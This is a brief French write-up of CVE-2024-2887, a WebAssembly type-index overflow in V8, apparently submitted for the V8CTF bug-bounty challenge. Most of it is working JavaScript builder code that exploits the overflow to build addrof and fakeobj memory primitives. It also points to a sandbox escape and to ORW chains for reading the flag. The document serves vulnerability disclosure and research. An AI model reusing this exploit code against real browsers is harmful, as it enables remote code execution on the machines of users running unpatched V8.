CVE-2024-2887

Ceci est un bref compte-rendu du CVE-2024-2887, que j'ai utilisé pour revendiquer V8CTF M123.

Lorsque l'on définit plus de types que kV8MaxWasmTypes, ce qui peut être réalisé en ajoutant plus de types dans RecGroup, l'indice de type peut dépasser 20 bits et alors déborder. Ensuite, deux types peuvent être considérés comme identiques car ils ont le même heap_type.

Nous pouvons obtenir une primitive addrof en créant un tableau avec des objets ref et en lisant via un tableau float64, et une primitive fakeobj en créant un tableau float64 et en le lisant comme un objet.

Le constructeur du module wasm se présente comme ci-dessous :

const builder = new WasmModuleBuilder();

let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
  for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
    builder.addType(makeSig([], []));
  builder.startRecGroup();
  for (var i = 0; i < o_cnt + 1; i++)
    builder.addType(makeSig([], []));
  builder.endRecGroup();
  for (var i = 0; i < o_cnt - 1; i++)
    builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);

overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);

builder.addFunction("addrof", typeId).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(2),
    kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, arr,
    kExprRefFunc, importId,
    kExprCallRef, typeId1,
]);

builder.addFunction("fakeobj", typeId1).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNew, arr,
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
    kExprRefFunc, importId2,
    kExprCallRef, typeId,
]);

Pour les contournements de sandbox, voir V8-Sandbox-Escape-via-Regexp. L'exploit final utilise des chaînes orw normales pour écrire le flag via stderr.